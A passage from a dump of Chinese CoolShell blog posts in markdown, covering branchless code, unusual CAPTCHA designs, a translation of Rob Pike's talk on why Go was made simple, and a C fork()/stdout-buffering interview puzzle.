predict)\n```\n\n\n```\ndata[] = 226, 185, 125, 158, 198, 144, 217, 79, 202, 118,  14, 150, 177, 182, 133, ...\nbranch =   T,   T,   N,   T,   T,   T,   T,  N,   T,   N,   N,   T,   T,   T,   N  ...\n\n= TTNTTTTNTNNTTTN ...   (completely random - hard to predict)\n```\n\n从上面我们可以看到，排好序的数据更容易预测分支。\n\n\n对此，那我们怎么办？我们需要在这种循环中除去if-else语句。比如：\n\n\n我们把条件语句：\n\n\n\n```\nif (data[j] >= 128)\nsum += data[j];\n\n```\n\n变成：\n\n\n\n```\nint t = (data[j] - 128) >> 31;\nsum += ~t & data[j];\n```\n\n“没有分叉”的性能基本上和“排好序有分支”一个样，无论是C/C++，还是Java。\n\n\n\n> **注：**在GCC下，如果你使用 `-O3` or `-ftree-vectorize` 编译参数，GCC会帮你优化分叉语句为无分叉语句。VC++2010没有这个功能。\n> \n> \n\n\n**最后，推荐大家一个网站——[Google Speed](https://developers.google.com/speed/)，网站上的有一些教程告诉你[如何写出更快的Web程序](https://developers.google.com/speed/articles/)。**\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![编程语言汽车](../wp-content/uploads/2009/11/oscar-meyer-wienermobile-150x150.jpg)](https://coolshell.cn/articles/1839.html)[编程语言汽车](https://coolshell.cn/articles/1839.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/1532.html)[到处都是Unix的胎记](https://coolshell.cn/articles/1532.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![API设计原则 – Qt官网的设计实践总结](../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg)](https://coolshell.cn/articles/18024.html)[API设计原则 – Qt官网的设计实践总结](https://coolshell.cn/articles/18024.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg](https://coolshell.cn/articles/10169.html)[类型的本质和函数式实现](https://coolshell.cn/articles/10169.html)\n* [![Linus：利用二级指针删除单向链表](../wp-content/uploads/2013/02/linus_pointer_to_pointer-150x150.jpg)](https://coolshell.cn/articles/8990.html)[Linus：利用二级指针删除单向链表](https://coolshell.cn/articles/8990.html)\nThe post [代码执行的效率](https://coolshell.cn/articles/7886.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2012-7-19 各式各样的验证码.md",
    "content": "---\nlayout: post\ntitle: 各式各样的验证码\ndate: 2012/7/19/ 0:32:9\nupdated: 2012/7/19/ 0:32:9\nstatus: publish\npublished: true\ntype: post\n---\n\n还记得以前那篇《[超强验证码](https://coolshell.cn/articles/3277.html \"超强的验证码\")》？其实这个世界变态的验证码还有很多，下面是一个列表向像展示了各种稀奇古怪的验证码。不过本文并不单单只是收集这验证码，前面的比较恶搞，后面的会向你展示什么是有accessibility验证码。\n\n\n#### 完全看不清楚的\n\n\n这是人类的字符吗？\n\n\n![](../wp-content/uploads/2012/07/0.jpg)\n\n\n图案中的字母是什么？\n\n\n![](../wp-content/uploads/2012/07/7.jpg)\n\n\n\n这也够奇葩的了。\n\n\n![](../wp-content/uploads/2012/07/4.jpg)\n\n\n#### 看得清但令人抓狂的\n\n\n[![](../wp-content/uploads/2012/07/2.jpg \"2\")](https://coolshell.cn/wp-content/uploads/2012/07/2.jpg)![](../wp-content/uploads/2012/07/3.jpg)\n\n\n####  数学公式的\n\n\n如果你填对了，你是人类吗？\n\n\n [![](../wp-content/uploads/2012/07/5.jpg)](https://coolshell.cn/wp-content/uploads/2012/07/4.jpg)\n\n\n ![](../wp-content/uploads/2012/07/8.jpg)\n\n\n#### 智力题\n\n\n![](../wp-content/uploads/2012/07/1.jpg)\n\n\n![](../wp-content/uploads/2012/07/worstcaptchaever.jpg)\n\n\n[![](../wp-content/uploads/2012/07/9.jpg)](https://coolshell.cn/wp-content/uploads/2012/07/9.jpg)\n\n\n#### 你的审美水平正常吗？\n\n\n![](../wp-content/uploads/2012/07/6.jpg)\n\n\n#### 你懂盲文吗？\n\n\n[![](../wp-content/uploads/2012/07/a438_c13.jpg \"a438_c13\")](https://coolshell.cn/wp-content/uploads/2012/07/a438_c13.jpg)\n\n\n#### ASCII图片式\n\n\n![](../wp-content/uploads/2012/07/filter_8cd6a950-a3ba-42a1-ac47-6d4c8276e6e5.jpg \"filter_8cd6a950-a3ba-42a1-ac47-6d4c8276e6e5\")\n\n\n#### \n\n\n#### \n\n\n#### 怎么验证一个人是否成年\n\n\n ![](../wp-content/uploads/2012/07/main-qimg-33024dad8ca5f5b9c37e3894d60ac8a1.jpg \"main-qimg-33024dad8ca5f5b9c37e3894d60ac8a1\")\n\n\n#### 3D验证码\n\n\n通个这个脚本自动生成的：<http://ocr-research.org.ua/tb/getimage.php5>\n\n\n[http://ocr-research.org.ua/tb/getimage.php5 \"http://ocr-research.org.ua/tb/getimage.php5\"](http://ocr-research.org.ua/tb/getimage.php5)\n\n\n#### \n\n\n#### reCaptcha\n\n\n相信大家都知道reCAPTCHA下了一盘很大的棋，它让你在输验证码的时候还帮着还原书籍中那些很难被OCR识别的单词。其有两组验证码，一组是可以被电脑识别的，另一组是不能被电脑识别的（也就是让人来帮电脑识别的），如果你第一组答对了，就会被 认为是人工操作，于是你回答的第二组就会成为人肉OCR。\n\n\n![](../wp-content/uploads/2012/07/reCAPTCHA.png \"reCAPTCHA\")\n\n\n它最近又将增加一项新功能：显示Google地图上的街景地址和名称。这样从地图上的街景中提取街道地址和名称以及交通标志等数据，以完善Google地图上的信息。\n\n\n![](../wp-content/uploads/2012/07/recaptcha-map.jpg \"recaptcha-map\")\n\n\n#### Facebook的人脸识别验证码\n\n\n你觉得有创意吗?\n\n\n![](../wp-content/uploads/2012/07/facebook.jpg \"facebook\")\n\n\n#### [微软的ASIRRA](http://research.microsoft.com/en-us/um/redmond/projects/asirra/)\n\n\n[![](../wp-content/uploads/2012/07/ASIRRA-Microsoft-Research.png \"ASIRRA   Microsoft Research\")](http://research.microsoft.com/en-us/um/redmond/projects/asirra/)\n\n\n#### [DISTCHA](http://accessibiliteweb.com/stuff/captcha-slider.html)\n\n\n通过像iPhone/iPad开启时滑动的样式来验证。\n\n\n[![](../wp-content/uploads/2012/07/DISTCHA-an-accessible-CAPTCHA-slider-v0.2.png \"DISTCHA  - an accessible CAPTCHA slider   v0.2\")](http://accessibiliteweb.com/stuff/captcha-slider.html)\n\n\n#### [MotionCAPTCHA](http://josscrowcroft.com/projects/motioncaptcha-jquery-plugin/ \"MotionCAPTCHA jQuery plugin\")\n\n\n用鼠标来画个画。\n\n\n[![](../wp-content/uploads/2012/07/MotionCAPTCHA-Joss-Crowcroft.png \"MotionCAPTCHA - Joss Crowcroft\")](http://josscrowcroft.com/projects/motioncaptcha-jquery-plugin/)\n\n\n#### [siteHelp的DragCapCha](http://sitehelp.com.au/demos/dragcaptcha.php)\n\n\n为下面的字母排个序吧\n\n\n[![](../wp-content/uploads/2012/07/Site-Help-DragCaptcha.png \"Site Help - DragCaptcha\")](http://sitehelp.com.au/demos/dragcaptcha.php)\n\n\n#### jQuery 验证码插件\n\n\n##### [jQuery s3Capcha 插件](http://serie3.info/s3capcha/demonstration.php)\n\n\n[![](../wp-content/uploads/2012/07/s3Capcha-jQuery-plugin.png \"s3Capcha jQuery plugin\")](http://serie3.info/s3capcha/demonstration.php)\n\n\n##### [Ajax Fancy Captcha](http://www.webdesignbeach.com/beachbar/ajax-fancy-captcha-jquery-plugin)\n\n\n和上面那个不一样，这个需要拖动\n\n\n[![](../wp-content/uploads/2012/07/Ajax-Fancy-Captcha-jQuery-plugin.png \"Ajax Fancy Captcha   jQuery plugin\")](http://www.webdesignbeach.com/beachbar/ajax-fancy-captcha-jquery-plugin)\n\n\n##### [wCaptcha](http://www.wozia.pt/blog/wcaptcha-a-better-captcha-alternative-jquery-captcha-plugin/)\n\n\n和上面的很相似。\n\n\n[![](../wp-content/uploads/2012/07/wcaptcha-1.png \"wcaptcha\")](http://www.wozia.pt/blog/wcaptcha-a-better-captcha-alternative-jquery-captcha-plugin/)\n\n\n#### [Picatcha](http://www.picatcha.com/captcha/)\n\n\n挑出所有的计算器\n\n\n[![](../wp-content/uploads/2012/07/PICATCHA.png \"PICATCHA\")](http://www.picatcha.com/captcha/)\n\n\n#### [yoCaptcha](http://yocaptcha.com/)\n\n\n广告式的验证码\n\n\n[![](../wp-content/uploads/2012/07/yoCaptcha.png \"yoCaptcha\")](http://yocaptcha.com/)\n\n\n#### W3C的建议\n\n\nW3C的这篇文章（<http://www.w3.org/TR/turingtest/>）表达了传统的验证码图片的Inaccessibility的问题，而且一些验证码都很容易被破解。如：\n\n\n* [aiCaptcha: Using AI to beat CAPTCHA and post comment spam](http://www.brains-n-brawn.com/default.aspx?vDir=aicaptcha)\n* [Breaking CAPTCHAs Without Using OCR](http://www.cs.berkeley.edu/~mori/gimpy/gimpy.html)\n* [PWNtcha – CAPTCHA decoder](http://sam.zoy.org/pwntcha/)\n\n\nW3C也给了一些解决方案：\n\n\n* 一些逻辑题或是智力题。\n* 声音输出，为了照顾残疾人。 [Spam-bot tests flunk the blind](http://news.com.com/2100-1032-1022814.html)\n* 限制帐号的操作次数。\n* 使用现有的Spam检测机制。如：酷壳（Coolshell.cn）的评论没有验证码，垃圾评论完全靠[Akismet](http://akismet.com/) 插件过滤。\n\n\n建议你移步去看看这篇文章。\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg](https://coolshell.cn/articles/3277.html)[超强的验证码](https://coolshell.cn/articles/3277.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![如何免费的让网站启用HTTPS](../wp-content/uploads/2017/08/enable-https-banner-150x150.png)](https://coolshell.cn/articles/18094.html)[如何免费的让网站启用HTTPS](https://coolshell.cn/articles/18094.html)\n* [![DHH 谈混合移动应用开发](../wp-content/uploads/2014/12/1053-DHH-150x150.jpg)](https://coolshell.cn/articles/12225.html)[DHH 谈混合移动应用开发](https://coolshell.cn/articles/12225.html)\n* [![HTML6 展望](../wp-content/uploads/2014/12/html6-150x150.jpeg)](https://coolshell.cn/articles/12206.html)[HTML6 展望](https://coolshell.cn/articles/12206.html)\n* [![Google Inbox如何跨平台重用代码？](../wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg)](https://coolshell.cn/articles/12136.html)[Google Inbox如何跨平台重用代码？](https://coolshell.cn/articles/12136.html)\nThe post [各式各样的验证码](https://coolshell.cn/articles/7917.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2012-7-5 少即是极多.md",
    "content": "---\nlayout: post\ntitle: 少即是极多\ndate: 2012/7/5/ 0:12:25\nupdated: 2012/7/5/ 0:12:25\nstatus: publish\npublished: true\ntype: post\n---\n\n【**感谢网友 [@innocentim](https://twitter.com/#!/innocentim)** (Twitter) **投稿**】\n\n\n这是一篇翻译练习。力图保留原意。若有不准确处，求速速指出。[猛击此处](http://commandcenter.blogspot.com/2012/06/less-is-exponentially-more.html)（墙）看原文。作者为Rob Pike，贝尔实验室来的大牛，现在就职于Google。他主导了Go语言的创建工作。下面是正文——\n\n\n——————————————正文分隔线——————————————\n\n\n![](../wp-content/uploads/2012/06/Less-is-More-Box-ShopTab-300x282.jpg \"Less is More\")这是我在2012年6月的Go SF上演讲的文本。\n\n\n这是一个个人演讲。 我承认，虽然面前的团队让Go诞生并延续，但是我的观点并不代表任何其他Go语言小组成员的意见。 我也想感谢Go SF的组织者提供这个和你们交流的机会。\n\n\n几星期前我被问起:“你在推出Go的过程中遇到的最大的惊奇是什么？”我立即意识到了答案: 虽然我们希望C++程序员意识到Go是个较好的选择，但是令人意外的是，大多数Go程序员来自Python和Ruby这样的动态语言，而很少有来自C++的。\n\n\n我们——Ken，Robert和我——是C++程序员(译者: Ken也用C++？)，当时在为解决我们所写的这类软件产生的问题设计一个新的语言。 这似乎有点自相矛盾，因为别的C++程序员根本不关心这些问题，更不会去设计一个语言。\n\n\n我今天想说的是关于那些激发我们创造Go的事情，和为什么它本不应令我们如此惊讶。 我保证这些内容更多与Go相关而不是C++，所以即使你不很了解C++你也能跟得上。\n\n\n回答可以这样归结: 你认为”少即是多”呢，还是”少就是少”？\n\n\n这里有个比喻，将以真实故事的形式给出。 贝尔实验室中心原来发放3位数号码: 物理研究是111，计算科学研究是127，如此这般。 1980年代早期，一个便笺飞过来说”鉴于你们对研究的理解有所加深，将为你们的号码多加上一位，以便更好地体现你们的工作”。 所以我们中心的号码变成了1127。 Ron Hardin半当真地开玩笑说如果我们真的理解我们的世界更好一点的话，我们将丢掉一位数字，将127变成27。 当然主管没听到这个笑话(这也不是我们希望的)，但是我想这里面有点值得思考的东西。 少即是多。 你理解得越好，你将变得越简洁。\n\n\n\n先记住这句话。\n\n\n回到2007年9月，我在做一个庞大的Google C++项目的细微但核心的部分。 开发必须交互进行，但是我这部分在我们的Google编译集群上要编译45分钟。 同时，有个消息传过来说一群在C++社区的Google员工将开一场讲座，介绍即将到来的C++0x(现在称为C++11)。\n\n\n在那场持续一小时的讲座中，我们听说了诸如计划中的35个新特性的说法——事实上还有更多，但是那场讲座只说有35个。 有些特性当然是细微的，但是讲座中谈到的至少是足够重要的。 提到的特性中，有些十分微妙并难以理解，比如右值引用(rvalue references); 有些特别符合C++范儿，比如可变参数模板(variadic templates); 还有些十分疯狂，比如用户定义的字面量(user-defined literals)。\n\n\n那时候我问了自己一个问题: C++社区真的觉得C++错在没有足够多的特性么？ 显然，从Ron Hardin的笑话的角度看，简化语言将比添加新特性取得更好的效果。 当然，对C++来说这很不靠谱，但是先记住这点。\n\n\n在这场讲座的几个月之前我做了一场讲座(你可以通过[YouTube](http://video.google.com/videoplay？docid=810232012617965344)看到)，讲的是一个我1980年代做的一个玩具并发编程语言。 这个语言叫[Newsqueak](ftp://cs.bell-labs.com/cm/cs/who/rsc/thread/newsqueak.pdf)，而且显然地，它成为了Go的前身。\n\n\n在我在Google工作的过程中，我发现我丢掉了Newsqueak中的一些点子。 现在我将重新思考它们，所以我才做了那场讲座。 我相信它们会让服务器端编程变得更容易，而且Google能真正从中获益。\n\n\n我真的尝试将这些点子加入到C++中，可惜失败了。 我实在难以将一组并发操作融入到C++的控制流程中去——当真融进去的话，它们将变得十分丑陋，从而难以看到优越性。 另外，C++将它变得十分臃肿(虽然我从来没真正发现C++苗条过)。 所以我放弃了这个想法。\n\n\n但是C++0x的讲座使我再次思考。 一件事十分困扰我——我相信也困扰着Ken和Robert——C++的新内存模型居然新增了原子类型。 为这个不堪重负的类型系统加上这么个细致精巧到极致类型机制十分的不靠谱，不是么？ 将语言和今日的硬件绑在一起似乎有点目光短浅并且不明智，因为硬件过几年就有大变。\n\n\n那场C++0x讲座结束之后，我们回到办公室。 我开始了另一个编译(译者笑)，转过转过我的椅子，面对Robert，然后开始问一些尖锐的问题。 在编译完成之前，我们拉拢了Ken，并决定做些什么。 我们再也不想写C++了，并且我们——尤其是我——在写Google代码时，想让并发拿来就用。 同时我们也想解决”大系统编程”的问题，容后细说。\n\n\n我们在白板上写下一组我们需要的东西——迫切需要的那种。 我们规划出大体的轮廓，忽略了语法细节和语义。\n\n\n我仍然有一条碉堡了的那周的邮件线索。 这是一些摘录:\n\n\n\n> **Robert**: 起点: C，修补一些显而易见的瑕疵，去除繁杂的东西。 新增一些特性。\n> \n> \n> **Rob**: 命名为’go’。 你可以为这个名字编造各种理由，但是它确实拥有很多好的特性。 它短小，易于打出。 工具么: goc，gol，goa。 如果有个交互式调试器/解释器，可以直接叫’go’。 代码后缀是。go。\n> \n> \n> **Robert**: 空接口: interface {}。 将被所有接口实现(译者: 原文如此)，并且可以取代void\\*。\n> \n> \n\n\n我们并没有立即全部设计出来。 比如我们花了一年多才设计出了数组(array)和切片(slice)。 不过相当一部分重要的设计在最初的几天中浮现。\n\n\n注意到Robert说C是起点，并非C++。 对于这点我不是很确定，不过我相信他说的是C，因为Ken在场(译者笑)。 但是最后我们并没有从C开始，这倒是真的。 我们从最初的草稿开始，仅仅从其它语言中借鉴琐碎的东西，比如运算符，各种括号和一些常见的关键字。(当然我们也借鉴了我们所知道的语言中的思想。)不管怎么说，我们破而后立，从头做起，以此来响应C++。 我们并非想做一个更好的C++，甚至不是一个更好的C。 它仅仅是一个对我们所关心的软件来说更好的语言。\n\n\n最后，我们得到了既不同于C也不同于C++的东西，甚至比许多人意识到的还要不同。 我列了一个对于C和C++的Go的重要的简化的列表:\n\n\n* 常规的语法(不需要一个符号表来辅助解析)\n* GC机制(仅仅是GC)\n* 没有头文件\n* 显式依赖关系\n* 没有循环依赖\n* 数字常量仅仅是数字(译者: 没有类型)\n* int和int32不是同种类型\n* 字母大小写将确定可见性\n* 任何类型都可以有方法(没有类)\n* 没有子类型继承(没有子类)\n* 包级别的初始化和良好定义的初始化顺序\n* 同一个包的文件一起编译\n* 包级别的全局定义可以以任意顺序进行\n* 没有算术类型转换(常量可以弥补)\n* 接口是隐式实现的(没有”implements”声明)\n* 嵌入的结构体(没有类型提升和子类)\n* 方法像函数一样定义(不必定义在特殊的地方)\n* 方法就是函数\n* 接口就是方法(没有数据)\n* 方法仅仅靠名字匹配(不是靠类型)\n* 没有构造函数和析构函数\n* 后置增量/减量运算符仅仅是语句，而不是表达式\n* 没有前置增量/减量运算符\n* 赋值号是语句，不是表达式\n* 表达式求值顺序在赋值和函数调用时确定(没有所谓的”sequence point”)\n* 没有指针算术\n* 内存总是初始化为0\n* 对本地变量取地址是合法的\n* 方法中没有叫this的指针\n* 分段式栈\n* 没有常量或其它类型的注记\n* 没有模板\n* 没有异常\n* 内建字符串，切片和映射(map)\n* 数组边界检查\n\n\n并且，我相信通过这一系列的简化，Go将比C或C++更具有表现力。 少即是多。\n\n\n但是我们没法一下子把所有部分都做出来。 我们需要构建最基础的部分，比如说类型系统的表示，能良好应用于实际的语法，和一些无法形容的但能让库更容易相互操作的东西。\n\n\n我们同样增加了C或C++中没有的东西，比如切片和映射，组合字面量(？)，文件顶层的表达式(这虽是件大事，但是几乎不为人知)，反射机制，GC等等。 自然，还有并发。\n\n\n一个显眼的缺少的东西是类型的继承。 请允许我粗暴地对待它一分钟。\n\n\n早先构建Go的时候有人跟我说，他无法想象用一门没有泛型的语言工作。 正如我在别处说明的那样，我觉得这是个很诡异的言论。\n\n\n公平起见，他用自己的话说可能是他真的很喜欢C++中STL的那些容器。 以辩论为目的的话，我们来正面看看他的言论。\n\n\n他说的意味着: 他发现写一个容器，比如以int为元素类型的链表，或字符串映射是一种不能忍的重负。 我发现这是个很诡异的言论，因为我几乎没把时间花在那些个问题上，即使我在用没有泛型的语言。\n\n\n但是，更重要的是，他说的那些表示*类型系统*将会解除这种负担。 *类型系统*。 不是多态函数，或语言级原语，或其它类型的辅助手段(helpers)，而仅仅是*类型系统*。\n\n\n这就是粘住我的那个细节。\n\n\n从C++或Java来Go的程序员怀念和类型系统在一起的日子，特别是带继承和子类的那部分。 也许我在类型系统方面是粗暴了些，但是我绝不觉得那套玩意非常具有表现力。\n\n\n我已故的朋友Alain Fournier一次告诉我说他认为学术工作的最底层是分类学。 然后信不信由你，类型继承正是分类学。 你必须决定哪个萝卜扔哪个坑里，每个类型的父类型，A是否继承B或者B是否继承A。 一个可排序的数组是一个带有sort方法的数组呢，还是一个长得像数组的排序器呢？ 如果你觉得类型系统能解决所有设计上的问题，你必须做出这个无意义的选择。\n\n\n我相信对编程来说那是个荒诞的思路。 真正的重点不在于事物之间的继承关系，而在于它们能提供些什么。\n\n\n因此，接口这个概念进入了Go。 但是它们都是主要部分——真正的Go之道——的一部分。\n\n\n如果C++和Java注重类型继承和类型系统的分类学，那末Go就注重组合。\n\n\nDoug Mcilroy，Unix管道的最终发明人，在1964年(!)写道:\n\n\n\n> 我们应该有一些机制能将程序耦合(串)起来，像花园软管那样——当我们需要另一种方式传送数据时，拧紧另外一段即可。 I/O也可以这么做。\n> \n> \n\n\n这也是Go所提倡的道路。 Go吸收这个观点，然后把它推进得十分远。 这是一门关于(功能上的)组合和(调用上的)耦合的语言。\n\n\n一个显然的例子是接口是组合各部分的途径。 关键是，那些部分是什么并不重要，如果某类型实现了M方法我就可以把这个方法填到接口里去。\n\n\n另一个重要的例子是如何让并发性提供给我们不同的独立计算部分的组合。\n\n\n并且还有一种不同寻常(但十分简单)的类型组合形式: 嵌入。\n\n\n————————————————————————\n\n\n我想提一个和之前不太相关的Go设计: Go被设计为大型团队用来写大型程序的语言。\n\n\n这里有个概念是”大型编程”，并且不知何故C++和Java主宰了这个领域。 我相信这只是因为其历史巧合，或者是工业上的巧合。 但是被广泛接纳的观点是他们和面向对象设计有关。\n\n\n我压根不相信这点。 大型软件需要确定的方法，但是更重要的是它需要强依赖性管理，干净的接口抽象和优越的文档工具。 C++没一点做得好的(虽然Java明显要好很多)。\n\n\n我们还不知道Go语言能做到何种程度，因为现在还没有足够的软件是用Go写的。 但是我非常有信心于Go将会成为一个优越的大型编程语言。 时间会说明一切的。\n\n\n————————————————————————\n\n\n现在，回到我们演讲开始提的那个问题:\n\n\n为什么Go，作为从头被设计为符合C++使用者习惯的语言，没有吸引很多C++程序员？\n\n\n严肃点说，我觉得是因为Go和C++在哲学方面有着巨大的不同。\n\n\nC++是将所有东西提到你指尖上(译者: 即多范式)。 我在C++11的FAQ上找到了这段引用:\n\n\n\n> C++能优雅地，灵活地，零损耗地(相比于手工操纵代码)表达抽象的能力大幅提升了。\n> \n> \n\n\nGo并非这种”围绕式”的。 你并不需要所有的东西都内建好。 你不需要对每个执行细节进行精细的控制。 比如，你不需要RAII，但你拥有一个垃圾回收器，也意味着你不需要执行释放内存的操作。\n\n\n你得到的是一组非常强有力但易于理解，易于用来构建积木的功能，这些积木可以用来组合出一个你需要的问题的解法。 这并不意味着它能像别的一些语言创造的解法一样快速，复杂，或带来思想上的激励，但是它总能保证易于书写，易于阅读，易于理解，易于维护，而且可能更安全。\n\n\n从另一个角度说，这当然算作过度简化:\n\n\nPython和Ruby程序员转到Go，因为他们不需要牺牲表达能力，却获得了性能的提升，并且能好好玩并发系统了。\n\n\nC++程序员*并没有*转到Go是因为他们好不容易获得了对程序的精细控制，并且不想牺牲它们的任何一部分。 对他们而言，写软件不仅包括把事情做完，而且包括用特定的方式完成。\n\n\n关键是，在将来，Go的成功将会颠覆他们的世界观。\n\n\n并且从一开始我们就应该意识到这点。 对于C++11的新特性很兴奋的人们并不关心一个拥有如此少特性的语言。 即使最后他提供了如此多。\n\n\n谢谢。\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg](https://coolshell.cn/articles/8088.html)[对技术的态度](https://coolshell.cn/articles/8088.html)\n* [![一个fork的面试题](../wp-content/uploads/2012/07/fork01jpg-150x150.jpg)](https://coolshell.cn/articles/7965.html)[一个fork的面试题](https://coolshell.cn/articles/7965.html)\n* [![程序员技术练级攻略](../wp-content/uploads/2011/07/programmer-150x150.png)](https://coolshell.cn/articles/4990.html)[程序员技术练级攻略](https://coolshell.cn/articles/4990.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/25.jpg](https://coolshell.cn/articles/4102.html)[如何学好C语言](https://coolshell.cn/articles/4102.html)\n* [![Go语言源码的一个改动](../wp-content/uploads/2009/11/spell_it_with_e-150x150.jpg)](https://coolshell.cn/articles/1761.html)[Go语言源码的一个改动](https://coolshell.cn/articles/1761.html)\nThe post [少即是极多](https://coolshell.cn/articles/7771.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2012-8-1 一个fork的面试题.md",
    "content": "---\nlayout: post\ntitle: 一个fork的面试题\ndate: 2012/8/1/ 0:20:46\nupdated: 2012/8/1/ 0:20:46\nstatus: publish\npublished: true\ntype: post\n---\n\n前两天有人问了个关于Unix的fork()系统调用的面试题，这个题正好是我大约十年前找工作时某公司问我的一个题，我觉得比较有趣，写篇文章与大家分享一下。这个题是这样的：\n\n\n**题目：请问下面的程序一共输出多少个“-”？**\n\n\n\n```\n\n#include <stdio.h>\n#include <sys/types.h>\n#include <unistd.h>\n\nint main(void)\n{\n   int i;\n   for(i=0; i<2; i++){\n      fork();\n      printf(\"-\");\n   }\n\n   wait(NULL);\n   wait(NULL);\n\n   return 0;\n}\n\n```\n\n如果你对fork()的机制比较熟悉的话，这个题并不难，输出应该是6个“-”，但是，实际上这个程序会很tricky地输出8个“-”。\n\n\n要讲清这个题，我们首先需要知道fork()系统调用的特性，\n\n\n\n* fork()系统调用是Unix下以自身进程创建子进程的系统调用，一次调用，两次返回，如果返回是0，则是子进程，如果返回值>0，则是父进程（返回值是子进程的pid），这是众为周知的。\n\n\n* 还有一个很重要的东西是，在fork()的调用处，整个父进程空间会原模原样地复制到子进程中，包括指令，变量值，程序调用栈，环境变量，缓冲区，等等。\n\n\n所以，上面的那个程序为什么会输入8个“-”，这是因为printf(“-“);语句有buffer，所以，对于上述程序，printf(“-“);把“-”放到了缓存中，并没有真正的输出（参看《[C语言的迷题](https://coolshell.cn/articles/945.html \"C语言的谜题\")》中的第一题），**在fork的时候，缓存被复制到了子进程空间**，所以，就多了两个，就成了8个，而不是6个。\n\n\n另外，多说一下，我们知道，Unix下的设备有“[块设备](http://en.wikipedia.org/wiki/Device_file#Block_devices)”和“[字符设备](http://en.wikipedia.org/wiki/Device_file#Character_devices)”的概念，所谓块设备，就是以一块一块的数据存取的设备，字符设备是一次存取一个字符的设备。磁盘、内存都是块设备，字符设备如键盘和串口。**块设备一般都有缓存，而字符设备一般都没有缓存**。\n\n\n对于上面的问题，我们如果修改一下上面的printf的那条语句为：\n\n\n`printf(\"-\\n\");`\n\n\n或是\n\n\n\n```\n printf(\"-\");\nfflush(stdout);\n```\n\n就没有问题了（就是6个“-”了），因为程序遇到“\\n”，或是EOF，或是缓中区满，或是文件描述符关闭，或是主动flush，或是程序退出，就会把数据刷出缓冲区。需要注意的是，标准输出是行缓冲，所以遇到“\\n”的时候会刷出缓冲区，但对于磁盘这个块设备来说，“\\n”并不会引起缓冲区刷出的动作，那是全缓冲，你可以使用setvbuf来设置缓冲区大小，或是用fflush刷缓存。\n\n\n我估计有些朋友可能对于fork()还不是很了解，那么我们把上面的程序改成下面这样：\n\n\n\n```\n\n#include <stdio.h>\n#include <sys/types.h>\n#include <unistd.h>\nint main(void)\n{\n   int i;\n   for(i=0; i<2; i++){\n      fork();\n      //注意：下面的printf有“\\n”\n      printf(\"ppid=%d, pid=%d, i=%d \\n\", getppid(), getpid(), i);\n   }\n   sleep(10); //让进程停留十秒，这样我们可以用pstree查看一下进程树\n   return 0;\n}\n\n```\n\n于是，上面这段程序会输出下面的结果，（注：编译出的可执行的程序名为fork）\n\n\n\n```\nppid=8858, pid=8518, i=0\nppid=8858, pid=8518, i=1\nppid=8518, pid=8519, i=0\nppid=8518, pid=8519, i=1\nppid=8518, pid=8520, i=1\nppid=8519, pid=8521, i=1\n\n$ pstree -p | grep fork\n|-bash(8858)-+-fork(8518)-+-fork(8519)---fork(8521)\n|            |            `-fork(8520)\n```\n\n面对这样的图你可能还是看不懂，没事，我好事做到底，画个图给你看看：\n\n\n![](../wp-content/uploads/2012/07/fork01jpg.jpg \"fork 程序调用图\")\n\n\n注意：上图中的我用了几个色彩，相同颜色的是同一个进程。于是，我们的pstree的图示就可以成为下面这个样子：（下图中的颜色与上图对应）\n\n\n![](../wp-content/uploads/2012/07/fork02.jpg \"fork进程树\")\n\n\n这样，对于printf(“-“);这个语句，我们就可以很清楚的知道，哪个子进程复制了父进程标准输出缓中区里的的内容，而导致了多次输出了。（如下图所示，就是我阴影并双边框了那两个子进程）\n\n\n![](../wp-content/uploads/2012/07/fork03.jpg \"fork程序执行图\")\n\n\n现在你明白了吧。（另，对于图中的我本人拙劣的配色，请见谅!）\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg](https://coolshell.cn/articles/4162.html)[又一个有趣的面试题](https://coolshell.cn/articles/4162.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/21.jpg](https://coolshell.cn/articles/3961.html)[“火柴棍式”程序员面试题](https://coolshell.cn/articles/3961.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/26.jpg](https://coolshell.cn/articles/3738.html)[打印质数的各种算法](https://coolshell.cn/articles/3738.html)\n* 